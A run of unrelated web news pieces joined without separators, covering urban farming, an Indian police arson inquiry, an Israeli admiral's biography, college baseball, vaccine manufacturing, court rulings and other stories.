A crane was placing new shipping containers on an otherwise barren landscape rutted with huge tire tracks. Backhaus's team all wore yellow hardhats and everyone had to yell over the roar of planes taking off just overhead every minute or so. Despite the location being a terribly unattractive one for residential development, Liotta says it turns out to be pretty swell for plants. The slight increase in ambient CO2 along the jet way has a positive effect on lettuce growth.
These accidental benefits turn up in other ways, too, to make Podponics even more of a closed-loop system than it originally set out to be. They use energy during off-peak hours of the day, which both helps to make the city's power grid more stable, and reduces the company's energy costs. They can even help make the grid more efficient by providing the utility demand response, so when power is needed elsewhere on the grid, Podponics can reduce the amount of energy they're using, allowing the utility not to switch on expensive and dirty peaker power plants.CONTRADICTING the state police which claimed that Naxalites had set 160 houses on fire in Tadmetla village in Chhattisgarh’s Sukma district, the CBI has held security forces responsible for the tragedy in March 2011.
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Presenting a status report on its investigation, the CBI informed a bench led by Justice Madan B Lokur that “160 houses in village Tadmetla were completely burnt during the police operation.” Seven special police officers (SPOs) have been chargesheeted in the case and the CBI says it has evidence of the “involvement of 323 SPOs/policemen” and 95 CRPF/COBRA personnel.
Watch what else is making news:
The CBI has also chargesheeted 26 Salwa Judum leaders for an attack on the convoy of Swami Agnivesh two weeks after the incident when he was trying to reach the villages to provide relief.
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These leaders hold local positions in political parties like the BJP and the Congress, with some also part of pro-police groups active in Bastar such as Vikas Sangharsh Samiti, Agni, and the now disbanded Samajik Ekta Manch. The Salwa Judum and SPOs have been declared illegal by the Supreme Court in a batch of cases led by social activist and academic Nandini Sundar.
Sundar had argued that during operations between March 11 and 16 in the villages on Morpalli, Tadmetla, and Timmapuram, more than 250 homes were burnt, three men were killed and three women were raped. In July 2011, the court ordered a CBI inquiry into these incidents and three final reports were submitted to the special CBI court in Raipur earlier this week, and then produced before the bench on Friday.
On Friday, Solicitor General Ranjit Kumar and Additional Solicitor General Tushar Mehta apprised the court of the filing of the chargesheets in three cases and closure reports in two cases.
As Mehta submitted that the real solution to the problem (of Naxalism) was not in the courtroom but “somewhere else”, the bench observed there should be efforts to resolve it. “You may get a Nobel Peace Prize for this…why don’t you try? Whosoever does it will get the Nobel,” remarked the bench.
The court told Mehta about the message from the 2016 Nobel Peace Prize for the resolution of the Colombian government’s war with FARC, (Revolutionary Armed Forces of Columbia, a guerilla movement). It said somebody, who made such an efforts here, could also get one day the coveted honour. It also directed the CBI to provide copies of investigation reports to the Sundar and others. The Indian Express has accessed relevant portions of these reports.
One of the reports says that the tehsildar of Konta subdivision had visited the villages in March 2011 to assess losses because of arson and found that out of “207 villages, 160 houses in village Tadmetla were completely burnt during the police operation and thereafter (the) civil administration of District Dantewada provided relief to all the affected villagers.”
In 2011, Sukma had not been carved out of Dantewada as a separate district. The report goes on to say that investigations disclosed that villagers said they had seen ex-SPOs, now police constables Madkam Bheema, Vanjam Deva, Telam Nanda and Telam Kosha, apart “from others acting in furtherance of common intention to beat/torture villagers and set their houses on fire.”
The SPOs have been charged under Section 326 (voluntarily causing grievous hurt by dangerous weapons or means), and Section 436 (mischief by fire or explosive substance). The report added that further investigations in respect of remaining offences or accused persons will continue.
On the attack on Swami Agnivesh on March 26, 2011, the report says his vehicle was stopped at Dornapal on the way to Sukma. “On instigation of the Salwa Judum members, the mob surrounded the vehicle and raised slogans against Swami Agnivesh. The mob picked up the stones lying on the road for repair purpose and started pelting indiscriminately at all the vehicles parked there including the Scorpio in which Swami Agnivesh was sitting,” the CBI report said.
It added that the police quickly took charge of the situation after vehicles of the convoy as well as those belonging to the media were damaged. The charges have been framed under sections relating to rioting, voluntarily causing hurt, wrongful restraint and other related sections.
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A press release issued by Nandini Sundar and Swami Agnivesh said that while the cases of rape and murder were still under investigation, the CBI enquiry has exposed the police lie that the houses were burnt by the Naxalites and, instead, shows that these unlawful activities were carried out by the SPOs/police/CRPF. It also points to the concealment of rapes and murders by the Chhattisgarh police, the statement said. When contacted, Inspector General of Police Bastar Range SRP Kalluri, who was the SSP Dantewada in March 2011 said,” I would not like to make any comment at all on this issue.” Vishvaranjan, who was Director General of Chhattisgarh Police at the time but has since retired said, “If the investigation has found this, then the natural consequence of this report is for the accused to be prosecuted.”Aluf (Vice Admiral) Eliezer (Eli) Marom ("Chayni") (Hebrew: אליעזר "אלי" מרום "צ'ייני", born in 1955, Sde Eliezer, Upper Galilee, Israel) was the Commander of the Israeli Navy in the years 2007–2011.[1] As of 2015 he serves as the head of the Israel Airports Authority.
Biography [ edit ]
Marom was born and raised on moshav Sde Eliezer, in the Hula Valley. His father Erik was a German-born Jew and his mother Leah (originally Chai Li) was born in China, the daughter of a Russian-Jewish woman and a Chinese man who had converted to Judaism. His parents met when his father escaped to China as a refugee from Europe during World War II.[2] He studied Marine Engineering in the Israel Nautical College in Akko. While his studied there, one of his commanders called him "Chayni" because his eyes, and that became his nickname.[3] He began his career in the Israeli Navy in 1975 after completing a naval officers course.[1]
Over the course of his career, Marom has held most of the senior positions in the Israeli Navy. According to Haaretz, Marom is widely praised for his abilities as a commander, but concerns about his character led to him being passed over as head of the Navy in 2004. However, Marom was finally appointed to the post in 2007. He was charged with rehabilitating the Navy after the 2006 Lebanon War, in the wake of a Hezbollah missile strike on INS Hanit.[4]
In March 2009, Marom was embroiled in a scandal after he was caught partying at a strip club in Tel Aviv. MK Nachman Shai called for Marom's resignation and IDF Chief of Staff Gabi Ashkenazi verbally rebuked him for his behavior. Ashkenazi did not, however, attach a reprimand to Marom's personal file.[4]
Marom was still head of the navy during the 2010 Gaza flotilla raid. In June 2011, as the Free Gaza Movement was preparing to launch Freedom Flotilla II to Gaza, Marom was quoted as calling the action a 'hate flotilla'.[5]
After leaving the navy in 2011, he became involved in many projects, and serves as Senior Director at Seagull Maritime Security.
In October 2013, he was briefly detained for questioning over his role in the Gaza flotilla raid when he arrived at Heathrow Airport, during a visit to the United Kingdom.[6]
Eliezer Marom is married to Ora and has three children.
Israel Navy Advanced Command Course
National Defense College
U.S. Navy Senior International Defense Management Program
Harvard Business School
MA in Social Sciences from Haifa University
1975 Joins ISC as Engine Officer
1999 promoted as Rear Admiral and appointed Commander of the Haifa Naval Base and the North Arena
2001 appointed the Head of Naval Operations of the Israel Navy
2003 appointed Chief of Staff of the Israel Navy
2004-2005 IDF representative at the United States Joint Forces Command.
August 2005 appointed Defense Armed Forces Attache at the Embassy of Israel in Singapore
October 9, 2007 promoted to Vice Admiral and Commander in Chief of the Israel Navy.A raid on the country’s largest manufacturer of maraschino cherries had a sad ending Tuesday.
Arthur Mondella, the 57-year-old owner of Dell’s Maraschino Cherries, committed suicide after authorities raided his Brooklyn factory, according to the New York Post. The factory was suspected of being used to grow marijuana, sources told the Post.
Authorities allegedly removed a false door in the facility and smelled weed, at which point Mondella excused himself to use the bathroom and shot himself.
Dell’s sells the sugary cherries, used in drinks both hard and soft, to restaurants including Red Lobster and TGI Fridays.
Technically, the raid was not to search for drugs, as authorities couldn’t get a warrant to do that. Instead, the official reason for the visit was to investigate illegal dumping of waste.WUVA online, a student-run media outlet, interviewed Nicole Eramo, an associate Dean of Students who heads the university's Sexual Misconduct Board. According to WUVA, the interview took place before a Rolling Stone story about an alleged gang rape at a fraternity |
3 innings, continues to improve his overall profile as not only as a college ace pitcher, but also as a prospect. He stands at 6-foot, 180 pounds, but possesses a very strong arm.
From a stuff standpoint this spring, Gossett has consistently been 90-92 with his fastball, and even higher at times, on a downhill plane. He also has added a changeup that continues to develop as a potentially above-average pitch at 78-89 mph, while his slider is a definite swing-and-miss pitch at this point.
"That changeup is his No. 3 pitch and he uses it enough for it to be a viable offering. I think the change is an average pitch for him, but being able to use it makes his other offerings above-average pitches," Pepicelli said. "That changeup is one of those pitches that's used just enough to be effective, where teams just can't go up there and sit on that pitch.
"That slider is very good. When he throws it the right way, it's got really, really good depth and it has an aggressive downhill approach," he continued. "Sometimes that slider will have a little more sweep on it, sometimes it's a little later, and sometimes it's more of a cutter variety. It's a pitch that typically is sharp with late action."
Clemson's stock is climbing at precisely the right time, thanks in large part to the rise of the now elite right-handed pitcher.
Get acquainted with Daniel Gossett. He'll be a name to remember the next couple of weeks.
Postseason implications: Five teams to watch
Auburn: Though the Tigers have an RPI of 35, they also have a conference record of 11-16 entering this weekend's home series against Arkansas. AU would likely put itself on the good side of the bubble with a series win over Arkansas. However, a series loss to the Razorbacks could mean a strong run in Hoover, Ala., will be needed.
Alabama: Though not anywhere near as dire straits as perhaps AU and Kentucky, the Crimson Tide needs to get at least one game this weekend against Vanderbilt to feel very good about its situation moving forward. The Tide has an RPI of 40 with nine wins against RPI Top 50 teams. 'Bama should feel OK, but not great.
Miami (Fla.): Could the perennial power Hurricanes actually miss the NCAA postseason? It's certainly possible. The Hurricanes have an RPI of 18, but are just 12-15 in the ACC. Chances are pretty good the 'Canes get into the field of 64 no matter what happens this weekend, but a home series win over Georgia Tech this weekend certainly would make head coach Jim Morris sleep better at night.
Cal Poly: The Mustangs are in pretty good shape to make the NCAA postseason right now, but could use a series win over Cal State Northridge (and Pacific to end the regular season) to solidify their situation. The Mustangs have an RPI of 29 with a 14-12 mark vs. RPI Top 100 clubs.
Kentucky: There might not be a bubble team more in need of wins this weekend than the Wildcats. Forget about the fact the Wildcats have an RPI of 28 with 13 wins vs. RPI Top 50 clubs. UK is a team with a 10-17 SEC record right now. UK desperately needs a road series win over Missouri this weekend to feel good potentially going into the SEC tournament.
Impact series to watch
20 Ole Miss at 3 LSU: The Tigers will rest ace right-handed pitcher Aaron Nola this weekend, but that doesn't make this series any less important, especially for the Rebels, who hope to improve their postseason resume. Ole Miss needs a huge weekend from right-handed starting pitchers Bobby Wahl (1.43) and Mike Mayers (2.87), while Sam Smith in the No. 3 starting spot is a key cog as well. -- THE PICK: LSU
7 Oregon State at 11 Oregon: Boy, it really doesn't get any bigger than this on the national stage, and it certainly doesn't get any bigger in the State of Oregon. The Beavers and Ducks each possess two of the nation's elite freshmen pitchers, and the two will be showcased this weekend in Eugene. OSU's Andrew Moore is 10-1 with a 1.48 ERA in 85 innings, along with 46 strikeouts and 20 walks, while UO's Cole Irvine is 10-2 with a 2.64 ERA in 92 innings, along with 47 strikeouts and 19 walks. -- THE PICK: Oregon State
6 Virginia at 2 North Carolina: This series got dampened a little bit by North Carolina's series loss to Georgia Tech last weekend. However, it still has huge implications in the Atlantic Coast Conference with the Cavaliers hoping to add yet another marquee series win to their resume. Virginia's Mike Papi is having a massive year at the plate, while for the Tar Heels, the return of freshman outfielder Skye Bolt is huge. Bolt returns from an injury hitting.392 with 10 doubles, two triples, six homers and 41 RBIs. -- THE PICK: North Carolina
UC Irvine at 4 Cal State Fullerton: The Titans have been incredibly consistent this spring, and once again, they'll lean on outstanding freshmen pitchers Thomas Eshelman and Justin Garza. Eshelman and Garza have earned-run averages of 1.42 and 2.12, respectively. As for the Anteaters, keep an eye on big-time prospect, right-handed pitcher Andrew Thurman, who has a 2.98 ERA in 84 2/3 innings. He also has struck out 72 and walked 14, while teams are hitting him at a.244 clip. -- THE PICK: Cal State Fullerton
16 Clemson and 8 Florida State: Fresh off a huge road series win over North Carolina State, the Seminoles hope to solidify their national seed this weekend against the Tigers. While the Seminoles are very pleased with the rotation of Luke Weaver, Brandon Leibrandt and Scott Sitz with the postseason looming, the Tigers love right-handed sophomore Daniel Gossett, and rely on a couple of young arms in Matthew Crownover (1.90) and Zack Erwin (2.88), while Clate Schmidt is expected to return to the bullpen after missing last weekend because of a hand injury. -- THE PICK: Florida State
23 Pittsburgh at 10 Louisville: This series is absolutely huge for both teams with Pitt holding on to a one game lead in the Big East standings. However, it's even more important for the Panthers, who would very much punch their ticket to the NCAA postseason with a series win over the Cardinals. Keep an eye on Pitt starting pitchers Ethan Mildren (2.17) and Matt Wotherspoon (3.05), who have each had huge campaigns. Meanwhile, right-handed pitcher Jeff Thompson has been the dominant starting pitcher we expected throughout the entire spring. -- THE PICK: Louisville
14 South Carolina at 21 Mississippi State: The Gamecocks are in good shape for an NCAA Regional host site at this point, but a bad showing in Starkville, Miss., this weekend could turn the tide moving into next week's Southeastern Conference tournament. The Gamecocks have gotten good starts from Nolan Belcher and others, while closer Tyler Webb has been the real key. Webb has appeared in 23 games and has a 0.56 ERA in 32 1/3 innings of work. For the Bulldogs, guys like Hunter Renfroe (.390/15/51) and Adam Frazier (.330/0/26) must have strong weekends. -- THE PICK: South Carolina
15 Indiana at Ohio State: The Buckeyes squandered an opportunity to rack up some big-time wins last weekend, but have a chance for redemption this weekend against the Hoosiers. For the Hoosiers, Scott Donley, Kyle Schwarber and Dustin DeMuth are having massive campaigns. Donley is hitting.361 with four homers and 49 RBIs, Schwarber is hitting.391 with 13 homers and 41 RBIs, and DeMuth is hitting.417 with four homers and 34 RBIs. -- THE PICK: Indiana
24 Oklahoma at Kansas State: The Wildcats are very much in good shape to wrap up a Big 12 Conference regular season title, but would love nothing more than to also potentially wrap up an NCAA Regional host site this weekend with a series win over the Sooners. Ross Kivett, Jared King and others are having impressive offensive campaigns, while the big key moving into the postseason is the pitching staff. For the Sooners, right-hander Jonathan Gray (1.43) and left-hander Dillon Overton (2.87) need to have good starts this weekend. -- THE PICK: Kansas State
Troy at 18 South Alabama: It was thought last weekend's series between USA and Louisiana-Lafayette would determine the Sun Belt regular season champion. However, that trophy actually will be handed out this weekend with the Jaguars up a full game. Keep an eye on Troy's impressive crop of sluggers, including third baseman Logan Pierce and outfielder Danny Collins, who are hitting.365 and.355, respectively. -- The Pick: South AlabamaComing to Orlando City in a late-season trade with the Colorado Rapids for Luis Gil, Dillon Powers was coming to a team with a rather flooded midfield, especially at the holding and defensive midfield positions. The trade seemed more of an attempt to acquire solid and dependable depth, but with only four starts in purple, have we really seen enough of Powers to make a decision?
Statistical Breakdown
Starting four matches and seeing action as a substitute in two, Powers accumulated 345 total minutes on the pitch. He had a 79.1% passing success rate, and attempted almost one shot per match. He didn’t score or assist on a goal, attempting just four shots (one on target).
Defensively, he averaged one tackle and two clearances per match. He picked up no cards and only committed two fouls.
Prior to coming over in the trade, Powers appeared in 15 games with Colorado (11 starts), registering one assist and four shots (one on target).
Best Game
Again, with a limited pool of matches to pull from, the 3-3 tie away at Atlanta was easily Powers’ best match. He rated really well for that match, and had a big job in trying to help the midfield — especially Antonio Nocerino at the base of the diamond — deal with the dangerous Atlanta United offense. His play helped the Lions walk out of Atlanta with a well-deserved point.
Final 2017 Grade
Considering the number of minutes played, Powers is tough to grade, but The Mane Land staff has given him a 5 for his time with the Lions in 2017. Powers was good on the ball and showed some moments, but the lack of minutes on the pitch was also apparent at times and he never really had time to build any kind of chemistry with his new team.
Final 2018 Outlook
I wish there was something to be said here, but as of Nov. 7, Dillon Powers’ contract option for 2018 had not been picked up by the club. Does this mean that we have seen the last of Powers in purple? Maybe not. For some players, that is the first step in renegotiating contracts. Considering the cuts to the midfield, and if the contract is mutually beneficial, I could see Powers returning as a depth player. At this point, only time will tell.
Previous 2017 Player Season in Review Posts (Date Published)Sanofi Pasteur, the vaccines business of Sanofi-Aventis, is one of the largest seasonal influenza vaccine producers in the world.
With the increased risk of H5N1 bird flu being passed by human to human and also the increase in inoculations in Western countries of ‘at risk’ areas of the population against seasonal influenza the company has been increasing its production capabilities.
In 2005, Sanofi Pasteur initiated a $150m investment in the US at Swiftwater in Pennsylvania for a new influenza vaccine manufacturing facility, which is anticipated to double its US production capacity to over 100 million doses of influenza vaccine (Fluzone) per year (170 million doses in 2006 out of a total global production of 350 million doses).
“The facility will enable Sanofi Pasteur to support public health and protect individuals against seasonal and pandemic influenza.”
The new production capacities were originally planned to come online for the 2008–2009 influenza season. However, the production could not be started till the FDA approval and licensing for the plant was obtained in May 2009. The company therefore planned to produce the vaccine for the 2009–2010 influenza season.
The Swiftwater plant will bring more than 100 new jobs, but will not speed up vaccine production which can take three to four months; it will just make larger batches at once.
A €160m investment, the largest capital investment to date for Sanofi Pasteur in France, has also been approved for a formulation and filling facility in Sanofi Pasteur’s Val de Reuil facility.
The new state-of-the-art facility will boost Sanofi Pasteur filling capabilities, thus significantly reducing time to market for the vaccine.
Construction completed
The construction of the new Swiftwater vaccine facility was completed in July 2007 and following FDA (Food and Drug Administration) validation and licensing approval obtained in May 2009, production of the vaccine has been underway for the 2009–2010 flu season.
The new 140,000ft² (13,000m²) facility will further enable Sanofi Pasteur to support public health and protect individuals against both seasonal and pandemic influenza. Sanofi Pasteur is the only company manufacturing inactivated influenza vaccine in the US.
Sanofi Pasteur chairman and CEO David Williams said: “As the world’s largest supplier of influenza vaccines, Sanofi Pasteur is committed to addressing current and future public health needs by investing in a robust research and development programme and an ambitious production plan for pandemic preparedness.
“The completion of this new facility, incorporating the latest technology in vaccine production, illustrates the company’s priority to produce the largest number of doses of vaccine in the shortest time frame to face the threat of seasonal and pandemic influenza.”
A further boost
The completion of construction of the new plant came after an announcement in June 2007 by the US Health and Human Services Secretary Mike Leavitt, which awarded Sanofi Pasteur a $77.4m contract to retrofit its existing Swiftwater influenza vaccine manufacturing facility (H5N1 readiness). Sanofi Pasteur will contribute approximately $25m toward the retrofit project.
Combining the capacities of new facility with the retrofitted facility should enable Sanofi Pasteur to triple its influenza vaccine capacity in the US. This will make the company the largest supplier of influenza vaccine in the US and the world.
“Combining the capacities of new facility with the retrofitted facility should enable Sanofi Pasteur to triple its influenza vaccine capacity in the US.”
Sanofi Pasteur has also led the way with the first US licensed avian influenza vaccine for humans and has successfully achieved manufacturing scale-up of this first-generation vaccine using proven, licensed and existing technology.
In April 2007 the FDA announced the first approval in the US of a vaccine for humans against the H5N1 influenza virus (avian or bird flu is a severe form of the disease and can cause multiple organ failure).
Andrew C von Eschenbach, Commissioner of Food and Drugs, said: “The threat of an influenza pandemic is, at present, one of the most significant public health issues our nation and world faces.
The approval of this vaccine is an important step forward in our protection against a pandemic.”
Two influenza subtypes, H5 and H7, have caused highly pathogenic avian influenza.
While most vaccine development has focused on H5N1 strains, avian H7-containing viruses remain a significant pandemic threat and have caused infections in humans in Europe over the last three years.
Contractors
Calori and Vanden Eynden were design consultants for the Sanofi Pasteur Swiftwater campus. Borton-Lawson Architecture and Engineering were also involved in the Swiftwater expansion particularly for the waste water treatment facilities. Vanderweil Engineers were selected to develop a concept design for the new vaccine research and development facility.
The facility, totalling approximately 140,000ft², provides space to support new vaccine development and production of clinical products. It consolidates and integrates all development and administrative functions into one building.
The current programme includes cGMP production and support space, GLP laboratories and support space, BSL-3 lab for tissue culture, office/administrative space for Clinical Development, Regulatory Affairs and related support functions. Sanofi Pasteur retained Global Project Services to manage and provide process engineering for the conceptual design and basic engineering of the facility.
Sanofi Pasteur also wanted to install over 20,000ft² of tile and stone in its main lobby, lobby staircase, cafeteria and other highly visible areas of its new administrative building, and the job was awarded to Fromkin Brothers painting and flooring contractors.
Influenza preparedness
Influenza is a highly infectious virus that spreads easily from person to person, primarily when an infected individual coughs or sneezes. According to the World Health Organization (WHO), 5–15% of the population is affected with upper respiratory tract infections in annual influenza epidemics.
Hospitalisation and deaths occur mainly in high-risk groups (elderly, people with chronic conditions/illness). Although difficult to assess, these annual epidemics are thought to result in between three and five million cases of severe illness and between 300,000 and 500,000 deaths every year around the world.
Most deaths currently associated with influenza in industrialised countries occur among the elderly over 65 years of age. It is the ‘at risk’ groups that are targeted for annual immunisation. According to WHO, the next pandemic is likely to result in 1 to 2.3 million hospitalisations and 280,000 to 650,000 deaths in the industrialised nations alone.
“According to WHO, the next influenza pandemic is likely to result in 1 to 2.3 million hospitalisations and 280,000 to 650,000 deaths in the industrialised nations alone.”
Its impact is expected to be even more devastating in developing countries. In an attempt to minimise the impact of a pandemic, many countries are developing national and trans-national plans against an eventual influenza pandemic situation.
Lucrative contracts for vaccines
As part of the ongoing bird flu pandemic preparation Sanofi Pasteur has received several contracts to support efforts in both the US and Europe. A $100m contract awarded by the US department of Health and Human Services (HHS) calls for Sanofi Pasteur to manufacture the vaccine in bulk concentrate form at its US headquarters in Swiftwater, PA from early September through to late October.
The agreement provides for additional fees to be paid to Sanofi Pasteur for storage of the vaccine as well as for formulation and filling of the vaccine upon government request. The contract with HHS is Sanofi Pasteur’s fifth pandemic-related agreement with the US government.
The Swiftwater plant was under warning from the FDA in 2006 due to some monovalent concentrate problems in the manufacturing process. The company also has ongoing supply contracts for bird flu vaccines with France, Australia and the UK.
The H7N1 vaccine (another virulent strain) was produced at Sanofi Pasteur’s Marcy l’Etoile facility in France using PER.C6 cell-based technology from its partner CRUCELL N.V., allowing an alternative production process expected to offer advantages over traditional manufacturing methods. The H7N1 vaccine strain was developed from an avian influenza virus by the UK’s National Institute for Biological Standards and Control (NIBSC) and the University of Reading, UK.The 2015-16 NBA regular season is officially underway, meaning we’ve had our first chance at seeing the league’s new crop of rookies in action.
There were a lot of good performances this week from players who will be looking to make an impact for years to come. I can’t wait to see what some of them even have in store for the rest of this season.
With that being said, just like with Stephen Curry showing the league why he deserves to have a tight grip on the MVP race at this point in the season, there was also a rookie who proved he was going to be dominant in the rookie standings starting out the new year.
Here’s my take on the top 10 rookies in the league and how they’ve earned their ranking or fallen from my preseason preview.
(Hint: One top pick has already dropped from my rankings.)There are still months to go before the green flag drops at the 24 Hours of Le Mans, but Porsche is working at a fever pitch to get itself ready for a return to LMP1 racing. In the latest video highlighting the 919 Hybrid, Porsche gives us a brief behind-the-scenes look at how testing is coming along as it prepares to take on the top series of Le Mans for the first time in 16 years.
Porsche only recently divulged some of the details behind its new prototype race car, but this video is just a glimpse of some of the work engineers have done in the last two years to get ready for this year's race. Aside from some new driving shots of the car, this video is really just a big tease as we wait to see the car without its camouflage. At this point, though, we don't know which looks more exciting: actually driving the 919 Hybrid, or getting to spend some time in Porsche's racing simulator.
READ MORE: Porsche Reveals More Technical Details about the 919 Le Mans PrototypeNorth Carolina's highest court has ruled an adoption method used by a same-sex couple where one partner already is the biological parent is invalid.
RALEIGH | North Carolina’s highest court on Monday voided a state senator’s adoption of her former domestic partner’s biological son, a move that appears to close a method for same-sex couples to adopt unless the Legislature steps in.
The state Supreme Court ruled 5-2 that the adoption of Melissa Jarrell’s son by state Sen. Julia Boseman was invalid because a Durham County District Court judge waived a requirement five years ago that Jarrell had to give up her parental rights in the process.
Under the adoption plan approved by the lower court, Boseman became an adoptive parent while Jarrell retained full parental rights as well.
However, Associate Justice Paul Newby wrote for the majority that the adoption never occurred in the eyes of the law because lawmakers have made clear the biological parent must terminate a legal relationship with the child. That part of the ruling favored Jarrell, who had sued to negate the adoption after the couple separated.
She and Boseman, North Carolina’s first openly gay member of the General Assembly, had been living together when Jarrell gave birth to Jacob in 2002.
The majority of justices let stand another lower court ruling allowing the two to have joint custody of the child, saying it would be in Jacob’s best interest for the women, who have been sharing parental responsibilities, to rear him.
Still, the ruling eliminates a method for same-sex couples to adopt and could raise legal questions about so-called “second parent” adoptions like this one. They have been granted in Durham and Orange counties in recent years, according to testimony and court documents.
“If our uniform court system is to be preserved, a new form of adoption cannot be made available in some counties but not all,” Newby wrote.
For such two-parent adoptions to occur by parents of the same gender — granting inheritance and other rights to the child — same-sex marriage would have to be created in North Carolina or the adoption law would have to be changed, said Michelle Connell, a Winston-Salem lawyer and chairwoman of the family law section of the North Carolina Bar Association.
Several Christian groups filed briefs arguing the adoption was illegal, while law professors and the American Civil Liberties Union urged the court to uphold Boseman’s adoption to ensure the child and others in similar situations would be in stable family environments.
Those issues are best addressed at the General Assembly, Newby wrote. At least 27 states permit second-parent adoptions through state law or based on evidence in local courts, according to the Human Rights Campaign, a national group that works for lesbian, gay, bisexual and transgender equality.
“The avenue is going to have to be changing the statute,” Connell said in an interview. Otherwise, she said, this ruling closes down the method completely. Republicans taking charge of the Legislature next month are considering whether to vote on a constitutional amendment that would prohibit gay marriage.
Associate Justice Patricia Timmons-Goodson wrote in a dissenting opinion that Jarrell was barred from challenging the decree because she missed deadlines to do so. In a separate opinion, Associate Justice Robin Hudson said there was no explicit prohibition against or permission for a waiver like the one Jarrell received.
“The majority overlooks the interests of this child and promotes (Jarrell’s) rights over those of the child, in direct contravention of the law as written,” Hudson wrote in arguing for a Court of Appeals ruling earlier this year upholding the adoption.
Jarrell attorney Leslie Fritscher said her client was pleased with the adoption being voided but was still reviewing the ruling granting joint custody.
Lawyer Jim Lea, representing Boseman, said the senator is pleased that she will remain part of Jacob’s life but is unhappy with the adoption decision. “If you have two loving parents that want to adopt a child... one should not be forced to comply with North Carolina statute by terminating parental rights,” he said.
Boseman, a Democrat from Wilmington, was first elected to the Legislature in 2004. She didn’t seek re-election this year and leaves office at the end of this month.Well, the Fort Lauderdale Police Department isn’t using an oracle yet, but it is getting one step closer to Minority Report-style crime predicting. The department has become the latest agency to use big data analytics and data mining to prevent crime by staying one step ahead of criminals. According to IBM, the company has entered into a partnership with the Fort Lauderdale PD to integrate new data and analytics tools into everyday crime fighting. The new projects will use pattern recognition and anomaly detection tech on existing records like 911 calls, crime records, and building permit activity.
“We’re entering a new era of police work where advances in technology are providing us with an additional tool to use in our crime prevention efforts,” said Fort Lauderdale Police Chief Frank Adderley in a release. “Integrating advanced data analysis into our operational strategies will help us maximize resources and stay one step ahead of the criminals.” The data generated by the new software package is designed to help, among other things, generate new patrol routes and redeploy officers to areas that have more crime activity.
IBM also emphasized that using data cuts costs for police departments and helps them provide the same level of service during a time when they may have fewer resources. The company is one of the leading providers of specialized software for law enforcement.(Newser) – Michael Banks' engagement couldn't have gotten off to a rockier start. Police say the 27-year-old Fresno man illegally scaled the 600-foot Morro Rock off California's Central Coast after sunrise Thursday to propose to his girlfriend over the Facetime app. She said yes, but was upset that he'd climbed the rock at all, reports KSBY. Then, rather than return down the south side of the rock, Banks chose a steeper path down the eastern face and got stuck on a small chunk of rock. "He couldn't go any direction, on a sheer ledge, with his feet dangling 80 feet off the ground," a fire chief tells the AP. Locals heard him calling for help around 8:45am, and a helicopter soon arrived to rescue him.
"It was a pretty amazing rescue on the part of the Fire Department," a Morro Bay State Park ranger tells the San Luis Obispo Tribune, noting the helicopter’s blades had to get close to the rock face to deliver a harness to Banks, who was back on the ground unscathed by 9:30am. He was issued a misdemeanor citation for trespassing—the fire chief says it's illegal to climb the rock "because it kills people"—and was told he'd have to pay for the rescue, which likely cost thousands. But things only went downhill from there. Banks was "found to be under the influence and in possession of methamphetamine" and ended the happy day in San Luis Obispo County Jail, reports KFSN. (Another proposal with iffy judgment involved stopping cars in the middle of a highway.)IN A drama-packed finale, Australian Ninja Warrior contestant Fred Dorrington faced a near-disqualification as judges debated whether his foot touched the water in stage one of the brutal grand final course.
In a cruel twist of fate, a foot in the water is what disqualified the 27-year-old carpenter from the grand final of the UK version of the show, where he placed third.
The Lismore local attacked stage one with full force. But as he came off the big dipper, he almost failed to grasp the rope and swung into the platform — dangling over the pool of water below.
“Ooh! His foot nearly hit the water,” the show’s anchor Rebecca Maddern said. But her co-host Ben Fordham was certain Dorrington’s foot dipped in — meaning instant disqualification.
“Did it touch the water? I saw some water movement,” Fordham said.
Commentator Freddie Flintoff, positioned on the sidelines, disagreed: “He didn’t touch it,” he said.
Viewers at home sided with Flintoff.
I reckon the mat splashed the water, not his foot. Unlucky. #NinjaWarriorAU — Hurleys Taxi Driver (@Hurleystaxi) July 25, 2017
Look! Not touching the water but still moving? It was the mat he slammed into. Like T-Rex and this glass of water. #NinjaWarriorAU pic.twitter.com/QAp2zNO0Im — Apolo (@PK_APOSTOLI) July 25, 2017
I love how the judges took Ben Fordham's version from 50m away over Freddie Flintoff's 1m away version 🙄 #NinjaWarriorAU — Life Bugs Me (@lifebugsme) July 25, 2017
I call bullshit, looks like the mat made the water ripple and the delayed disqualification was for dramatic effect #NinjaWarriorAU — Daryl (@xwickedmindx) July 25, 2017
As Dorrington powered on, leaping onto the rope hang, the lights flashed red and the sirens whirled. It seemed the serial-Ninja Warrior was reliving his failure from the UK grand final and had been disqualified.
“He is disqualified! It looks like his foot went in the water on the big dipper,” Maddern confirmed.
But confusion remained.
The footage was replayed, red circles were drawn around various body parts and sections of the water, and the decision was reviewed.
“After reviewing the replay, we can see the splash of water was caused by the safety mat, not Fred’s foot. So, in accordance to international rules. Fred will start again from where we left off.”
Some viewers took issue with the fact Dorrington was able to regain some strength during the break before continuing. And others found humour in the rather important sounding “international rules” of the game.
Mmm a restart after a break allows him to rest and almost gains an advantage #NinjaWarriorAU — Catherine Redman (@AngelC86) July 25, 2017
Dorrington recovered from the disqualification scare to complete stage one with more than 20 seconds to spare.
He moved through to stage two — where contestants had to complete the course in 65 seconds.
He powered through the beginning obstacles, but lingered too long on the unstable bridge. He was left hanging as the siren sounded and he ran out of time.
“It was pretty intense. Didn’t get as far as I’d have liked. But I’m stoked,” he said as he exited the competition.Get the latest news and videos for this game daily, no spam, no fuss.
Sian Blake, who voiced Yugiri in Square Enix's Final Fantasy XIV and appeared in British drama EastEnders, was found dead with her two children this week in London, the BBC reports. She was discovered by police at her London home on January 6.
She was 43; her children were eight and four.
Image credit: BBC
A police spokesperson said all three died from "head and neck injuries" and authorities are seeking Blake's partner, Arthur Simpson-Kent, in relation to their deaths. According to police, "significant" attempts were made to hide the bodies, which were ultimately discovered after an excavation of the home's garden.
Blake and her children were last seen December 13 and reported missing on December 16. The BBC has learned that Arthur Simpson-Kent may now be in Ghana.
More information on this story is available through the BBC report and another story from People.com.The Republican North Carolina Department Health and Human Services (DHHS) secretary this week told reporters asking for information about the state’s plan to privatize Medicaid that “transparency can get pretty dangerous.”
“Already we’re not seeing transparency,” North Carolina Health News reporter Rose Hoban pointed out to DHHS Secretary Aldona Wos at a press conference on Wednesday.
“I think the word transparency can get pretty dangerous,” Wos explained. “Because what does transparency mean? If transparency means that we’re in a planning process and you’re asking us, ‘Tell us all the things you’re planning,’ well, my goodness, allow us to work, and then we’ll give you everything that you want. But allow us the intellectual capacity just to do our job.”
